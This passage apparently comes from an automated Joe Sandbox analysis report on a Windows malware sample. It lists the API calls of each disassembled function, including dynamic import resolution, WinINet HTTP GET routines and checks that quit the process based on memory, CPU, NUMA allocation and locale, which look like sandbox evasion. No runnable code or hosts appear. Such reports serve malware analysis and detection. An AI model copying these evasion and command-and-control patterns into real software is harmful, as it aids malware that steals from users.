GetProcAddress.KERNEL32(75900000,007CA830), ref: 00419E2C
GetProcAddress.KERNEL32(75900000,007CA758), ref: 00419E44
GetProcAddress.KERNEL32(75900000,00795A58), ref: 00419E5D
GetProcAddress.KERNEL32(75900000,007CA710), ref: 00419E75
GetProcAddress.KERNEL32(75900000,007CA698), ref: 00419E8D
GetProcAddress.KERNEL32(75900000,007CA680), ref: 00419EA6
GetProcAddress.KERNEL32(75900000,007CA7B8), ref: 00419EBE
GetProcAddress.KERNEL32(75900000,007CA8F0), ref: 00419ED6
GetProcAddress.KERNEL32(75900000,007CA740), ref: 00419EEF
GetProcAddress.KERNEL32(75900000,007CA770), ref: 00419F07
GetProcAddress.KERNEL32(75900000,007CA788), ref: 00419F1F
GetProcAddress.KERNEL32(75900000,007CA950), ref: 00419F38
GetProcAddress.KERNEL32(75900000,00799C48), ref: 00419F50
GetProcAddress.KERNEL32(75900000,007CA860), ref: 00419F68
GetProcAddress.KERNEL32(75900000,007CA6B0), ref: 00419F81
GetProcAddress.KERNEL32(75900000,00795958), ref: 00419F99
GetProcAddress.KERNEL32(75900000,007CA7A0), ref: 00419FB1
GetProcAddress.KERNEL32(75900000,00795A38), ref: 00419FCA
GetProcAddress.KERNEL32(75900000,007CA908), ref: 00419FE2
GetProcAddress.KERNEL32(75900000,007CA800), ref: 00419FFA
GetProcAddress.KERNEL32(75900000,00795A78), ref: 0041A013
GetProcAddress.KERNEL32(75900000,00795338), ref: 0041A02B
LoadLibraryA.KERNEL32(007CA6C8,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A03D
LoadLibraryA.KERNEL32(007CA848,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A04E
LoadLibraryA.KERNEL32(007CA920,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A060
LoadLibraryA.KERNEL32(007CA890,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A072
LoadLibraryA.KERNEL32(007CA938,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A083
LoadLibraryA.KERNEL32(007CA6E0,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A095
LoadLibraryA.KERNEL32(007CA668,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A0A7
LoadLibraryA.KERNEL32(007CA8A8,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A0B8
GetProcAddress.KERNEL32(75FD0000,007954B8), ref: 0041A0DA
GetProcAddress.KERNEL32(75FD0000,007CA6F8), ref: 0041A0F2
GetProcAddress.KERNEL32(75FD0000,0079D390), ref: 0041A10A
GetProcAddress.KERNEL32(75FD0000,007CA8C0), ref: 0041A123
GetProcAddress.KERNEL32(75FD0000,00795478), ref: 0041A13B
GetProcAddress.KERNEL32(734B0000,0079A9B0), ref: 0041A160
GetProcAddress.KERNEL32(734B0000,00795578), ref: 0041A179
GetProcAddress.KERNEL32(734B0000,0079A668), ref: 0041A191
GetProcAddress.KERNEL32(734B0000,007CA8D8), ref: 0041A1A9
GetProcAddress.KERNEL32(734B0000,007CAA10), ref: 0041A1C2
GetProcAddress.KERNEL32(734B0000,00795318), ref: 0041A1DA
GetProcAddress.KERNEL32(734B0000,00795698), ref: 0041A1F2
GetProcAddress.KERNEL32(734B0000,007CA9E0), ref: 0041A20B
GetProcAddress.KERNEL32(763B0000,00795458), ref: 0041A22C
GetProcAddress.KERNEL32(763B0000,007954F8), ref: 0041A244
GetProcAddress.KERNEL32(763B0000,007CA9C8), ref: 0041A25D
GetProcAddress.KERNEL32(763B0000,007CA980), ref: 0041A275
GetProcAddress.KERNEL32(763B0000,00795498), ref: 0041A28D
GetProcAddress.KERNEL32(750F0000,0079A550), ref: 0041A2B3
GetProcAddress.KERNEL32(750F0000,0079A758), ref: 0041A2CB
GetProcAddress.KERNEL32(750F0000,007CA998), ref: 0041A2E3
GetProcAddress.KERNEL32(750F0000,007955D8), ref: 0041A2FC
GetProcAddress.KERNEL32(750F0000,00795598), ref: 0041A314
GetProcAddress.KERNEL32(750F0000,0079A500), ref: 0041A32C
GetProcAddress.KERNEL32(75A50000,007CA9F8), ref: 0041A352
GetProcAddress.KERNEL32(75A50000,00795398), ref: 0041A36A
GetProcAddress.KERNEL32(75A50000,0079D3E0), ref: 0041A382
GetProcAddress.KERNEL32(75A50000,007CA9B0), ref: 0041A39B
GetProcAddress.KERNEL32(75A50000,007CAA28), ref: 0041A3B3
GetProcAddress.KERNEL32(75A50000,00795538), ref: 0041A3CB
GetProcAddress.KERNEL32(75A50000,00795618), ref: 0041A3E4
GetProcAddress.KERNEL32(75A50000,007CA968), ref: 0041A3FC
GetProcAddress.KERNEL32(75A50000,007CB070), ref: 0041A414
GetProcAddress.KERNEL32(75070000,007952F8), ref: 0041A436
GetProcAddress.KERNEL32(75070000,007CB220), ref: 0041A44E
GetProcAddress.KERNEL32(75070000,007CB160), ref: 0041A466
GetProcAddress.KERNEL32(75070000,007CB1A8), ref: 0041A47F
GetProcAddress.KERNEL32(75070000,007CB118), ref: 0041A497
GetProcAddress.KERNEL32(74E50000,00795418), ref: 0041A4B8
GetProcAddress.KERNEL32(74E50000,007954D8), ref: 0041A4D1
GetProcAddress.KERNEL32(75320000,00795638), ref: 0041A4F2
GetProcAddress.KERNEL32(75320000,007CB208), ref: 0041A50A
GetProcAddress.KERNEL32(6F070000,00795438), ref: 0041A530
GetProcAddress.KERNEL32(6F070000,00795518), ref: 0041A548
GetProcAddress.KERNEL32(6F070000,007955B8), ref: 0041A560
GetProcAddress.KERNEL32(6F070000,007CB1C0), ref: 0041A579
GetProcAddress.KERNEL32(6F070000,00795558), ref: 0041A591
GetProcAddress.KERNEL32(6F070000,007953F8), ref: 0041A5A9
GetProcAddress.KERNEL32(6F070000,007955F8), ref: 0041A5C2
GetProcAddress.KERNEL32(6F070000,00795658), ref: 0041A5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 0041A5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 0041A607
GetProcAddress.KERNEL32(74E00000,007CB088), ref: 0041A629
GetProcAddress.KERNEL32(74E00000,0079D460), ref: 0041A641
GetProcAddress.KERNEL32(74E00000,007CB130), ref: 0041A659
GetProcAddress.KERNEL32(74E00000,007CB148), ref: 0041A672
GetProcAddress.KERNEL32(74DF0000,00795678), ref: 0041A693
GetProcAddress.KERNEL32(6F9C0000,007CB1F0), ref: 0041A6B4
GetProcAddress.KERNEL32(6F9C0000,007956B8), ref: 0041A6CD
GetProcAddress.KERNEL32(6F9C0000,007CB178), ref: 0041A6E5
GetProcAddress.KERNEL32(6F9C0000,007CB1D8), ref: 0041A6FD

Strings

XVy, xrefs: 0041A5CD
xTy, xrefs: 0041A12E
xZy, xrefs: 0041A005
8Zy, xrefs: 00419FBC
XZy, xrefs: 00419E4F
xUy, xrefs: 0041A16B
XYy, xrefs: 00419F8C
XXy, xrefs: 00419C38
8Sy, xrefs: 0041A01E
XTy, xrefs: 0041A21F
InternetSetOptionA, xrefs: 0041A5E5
XUy, xrefs: 0041A584
8Ty, xrefs: 0041A522
HttpQueryInfoA, xrefs: 0041A5FC
xVy, xrefs: 0041A686
xXy, xrefs: 00419D2B
8Vy, xrefs: 0041A4E5
8Uy, xrefs: 0041A3BE
8Yy, xrefs: 00419DD6

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: 8Sy$8Ty$8Uy$8Vy$8Yy$8Zy$HttpQueryInfoA$InternetSetOptionA$XTy$XUy$XVy$XXy$XYy$XZy$xTy$xUy$xVy$xXy$xZy
API String ID: 2238633743-3056651782
Opcode ID: 62050089a8b8835eafd1d37742ef1b979ae5b20786234f8d6d940be7715c0619
Instruction ID: b148544ec257a615b167952e2e9b89b3667e8f5620887ecf26b211dda149ff7d
Opcode Fuzzy Hash: 62050089a8b8835eafd1d37742ef1b979ae5b20786234f8d6d940be7715c0619
Instruction Fuzzy Hash: 02621DBD5C0200BFD364DFE8EE889A63BFBF74E701714A61AE609C3264D6399441DB52

Function 00415510 Relevance: 24.9, APIs: 7, Strings: 7, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,0079D410,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004156A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415857

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004151F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415228

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 004152C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415318
Part of subcall function 004152C0: lstrlenA.KERNEL32(00000000), ref: 0041532F
Part of subcall function 004152C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00415364
Part of subcall function 004152C0: lstrlenA.KERNEL32(00000000), ref: 00415383
Part of subcall function 004152C0: strtok.MSVCRT(00000000,?), ref: 0041539E
Part of subcall function 004152C0: lstrlenA.KERNEL32(00000000), ref: 004153AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415A0C
Sleep.KERNEL32(0000EA60), ref: 00415A1B

Strings

ERROR, xrefs: 004159FE
xYy, xrefs: 00415585, 004155E3
ERROR, xrefs: 00415636
ERROR, xrefs: 00415693
ERROR, xrefs: 0041577D
ERROR, xrefs: 00415849
ERROR, xrefs: 00415932

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$xYy
API String ID: 3630751533-539903723
Opcode ID: 57d063fc9ed83c1e53da0e14c22364a0aa576905cfee3b85b0d3c6812f09564c
Instruction ID: 0baa471f6470c30cedeccf0ca5f41b7a1b3666a88d5ff2061c329f06e4daefd3
Opcode Fuzzy Hash: 57d063fc9ed83c1e53da0e14c22364a0aa576905cfee3b85b0d3c6812f09564c
Instruction Fuzzy Hash: 5BE18675910104AACB04FBB1DD52EED733DAF54314F50812EB406660D1EF3CAB9ACBAA

Function 00406280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 004062E1
StrCmpCA.SHLWAPI(?,007CC908), ref: 00406303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
HttpOpenRequestA.WININET(00000000,GET,?,007CC638,00000000,00000000,00400100,00000000), ref: 00406385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004063BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 004063FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040646D
InternetCloseHandle.WININET(00000000), ref: 004064EF
InternetCloseHandle.WININET(00000000), ref: 004064F9
InternetCloseHandle.WININET(00000000), ref: 00406503

Strings

ERROR, xrefs: 00406407
GET, xrefs: 0040637C
ERROR, xrefs: 004064C9

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3074848878-2509457195
Opcode ID: 080261753b6033409e8309b3227ccdbaa0f04c8b4696de884a7f81660436c8d0
Instruction ID: 4c22ad93782da972e928cd377ef6cc95e5ae9f8df18decad01f21c65d1bf8a87
Opcode Fuzzy Hash: 080261753b6033409e8309b3227ccdbaa0f04c8b4696de884a7f81660436c8d0
Instruction Fuzzy Hash: C1718075A00218ABDB24EFE0DC49BEE7775FB44700F10816AF50A6B1D0DBB86A85CF56

Function 004117A0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 160
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 004117C5
ExitProcess.KERNEL32 ref: 004117D1
strtok_s.MSVCRT ref: 004117E8

Strings

block, xrefs: 004117B7

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: ExitProcessstrtok_s
String ID: block
API String ID: 3407564107-2199623458
Opcode ID: 2fed056f04860ab53dc55cf46fa0ad5f7b81b83e30ecc022536dc59065cce9ea
Instruction ID: 00bb13bb87ecd4f31d5cbb7361e66ee12f2c4d363b15aa8138e6c51e0cba8311
Opcode Fuzzy Hash: 2fed056f04860ab53dc55cf46fa0ad5f7b81b83e30ecc022536dc59065cce9ea
Instruction Fuzzy Hash: AC517DB4A10209EFCB04DFA1D954BFE77B6BF44304F10804AE516A7361D778E992CB6A

Function 00417500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00417542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417603
HeapAlloc.KERNEL32(00000000), ref: 0041760A
wsprintfA.USER32 ref: 00417640

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Strings

:, xrefs: 0041755C
C, xrefs: 0041754C
\, xrefs: 00417560

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: ca458c9d44e2395dbd5c279e9f95348a2013c015fe5135b8dbe94f3e61db761a
Instruction ID: 2fa5a76c25c4840d12821100fc964cf287d391274576238511e757cc0c078ff1
Opcode Fuzzy Hash: ca458c9d44e2395dbd5c279e9f95348a2013c015fe5135b8dbe94f3e61db761a
Instruction Fuzzy Hash: BF41A2B5D44248ABDB10DF94DC45BEEBBB9EF08714F10019DF50967280D778AA84CBA9

Function 023E003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 023E024D

Strings

kernel32.dll, xrefs: 023E008F, 023E0095
cess, xrefs: 023E018D

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 571f1da09eade85af8bbf9f83e91f5564ddb21b823786ce3211d86e5941364d9
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: C1526B74A01229DFDB64CF58C985BACBBB5BF09304F1480D9E54DAB391DB70AA89CF14

Function 004169F0 Relevance: 10.6, APIs: 7, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,0079DCE0), ref: 004198A1
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,0079D078), ref: 004198BA
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,0079CF70), ref: 004198D2
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,0079D198), ref: 004198EA
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,0079D138), ref: 00419903
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,00797258), ref: 0041991B
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,00795798), ref: 00419933
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,007959B8), ref: 0041994C
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,0079D1E0), ref: 00419964
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,0079CFE8), ref: 0041997C
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,0079CF88), ref: 00419995
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,0079CFA0), ref: 004199AD
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,00795758), ref: 004199C5
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,0079D000), ref: 004199DE

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 004011D0: ExitProcess.KERNEL32 ref: 00401211

Part of subcall function 00401160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00416A17,00420AEF), ref: 0040116A
Part of subcall function 00401160: ExitProcess.KERNEL32 ref: 0040117E

Part of subcall function 00401110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00416A1C), ref: 0040112B
Part of subcall function 00401110: VirtualAllocExNuma.KERNEL32(00000000,?,?,00416A1C), ref: 00401132
Part of subcall function 00401110: ExitProcess.KERNEL32 ref: 00401143

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266
Part of subcall function 00401220: ExitProcess.KERNEL32 ref: 00401294

Part of subcall function 00416770: GetUserDefaultLangID.KERNEL32(?,?,00416A26,00420AEF), ref: 00416774

GetUserDefaultLCID.KERNEL32 ref: 00416A26

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011C6

Part of subcall function 00417850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
Part of subcall function 00417850: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Part of subcall function 004178E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
Part of subcall function 004178E0: HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,0079D410,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416AE8
CloseHandle.KERNEL32(00000000), ref: 00416AF9
Sleep.KERNEL32(00001770), ref: 00416B04
CloseHandle.KERNEL32(?,00000000,?,0079D410,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416B1A
ExitProcess.KERNEL32 ref: 00416B22

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseDefaultEventHandleName__aulldiv$ComputerCreateCurrentGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 3511611419-0
Opcode ID: 69548e9f7b0c997070e8e7643a6d484cc2a1657e3649f1ee2c31899339907b6b
Instruction ID: 1c0ff58a553566d9d81a636820be0d4cb73d0efe44d476221655ae408a7450da
Opcode Fuzzy Hash: 69548e9f7b0c997070e8e7643a6d484cc2a1657e3649f1ee2c31899339907b6b
Instruction Fuzzy Hash: E1317074940208AADB04FBF2DC56BEE7339AF04344F10042EF102A61D2DF7C6986C6AE

Function 004047B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Strings

<, xrefs: 004047C9

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: ??2@$CrackInternetlstrlen
String ID: <
API String ID: 1683549937-4251816714
Opcode ID: 116f2b94f3778adbc9308d13d48d12011aa30bb27236a404a583900fa923c872
Instruction ID: 59ffd934fb977a93d501bba2862ecb1df6a0defd032b503e5e890a78b3955a81
Opcode Fuzzy Hash: 116f2b94f3778adbc9308d13d48d12011aa30bb27236a404a583900fa923c872
Instruction Fuzzy Hash: 712149B5D00219ABDF10DFA5E849BDD7B74FF04320F008229F925A7290EB706A15CF95

Function 00401220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266
ExitProcess.KERNEL32 ref: 00401294

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction ID: f2ded3d157cb35307e0b39d430c96622be3dd75f8d5744ac0086d878f352425a
Opcode Fuzzy Hash: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction Fuzzy Hash: 5901FBB0D84308BAEB10DBE4DC49B9EBB78AB15705F20809EE705B62D0D6785585879D

Function 00416AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

